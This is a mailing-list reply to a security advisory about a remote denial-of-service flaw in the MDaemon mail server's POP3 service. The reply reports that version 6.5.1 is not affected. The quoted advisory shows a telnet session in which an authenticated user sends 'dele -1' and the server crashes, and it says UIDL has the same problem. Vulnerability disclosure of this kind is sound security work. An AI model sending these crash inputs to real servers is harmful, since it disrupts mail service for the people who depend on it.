RE: MDaemon SMTP/POP/IMAP server: =>6.0.7: POP remote DoS

[William Pratt <wpratt () megapath net>]

Tested on 6.5.1 on Win2K Server. Does not crash MDaemon and returns a 'no
such message' error.

Sincerely,

William Pratt
Unix Systems Engineer
MegaPath Networks, Inc.
http://www.megapath.net



########################################################*
#       Damage Hacking Group security advisory
#                   www.dhgroup.org
########################################################*
#Product: MDaemon SMTP/POP/IMAP server =>v.6.0.7
#Authors: Alt-N Technologies [www.mdaemon.com]
#Vulnerability: remote DoS via POP3 service
########################################################*

#Overview#-----------------------------------------------------#
- From help-file:
"MDaemon Server v6 brings SMTP/POP/IMAP and MIME mail services
commonplace on UNIX hosts and the Internet to Windows based servers
and microcomputers. MDaemon is designed to manage the email needs
of any number of individual users and comes complete with a powerful
set of integrated tools for managing mail accounts and message
formats.
MDaemon offers a scalable SMTP, POP3, and IMAP4 mail server complete
with LDAP support, an integrated browser-based email client, content
filtering, spam blockers, extensive security features, and more."

#Problem#------------------------------------------------------#

> telnet 127.0.0.1 110

+OK dark POP MDaemon ready using UNREGISTERED SOFTWARE 6.0.7
<MDAEMON-F200303080
224.AA2418601MD5635@dark>
user dark
+OK dark... Recipient ok
pass ******
+OK dark@dark's mailbox has 13 total messages (2274775 octets).
dele -1

Connection to host lost.

...and MDaemon is crashed. This bug (with negative digits) is
founded in UIDL and DELE commands and it could be used by authorized
users only.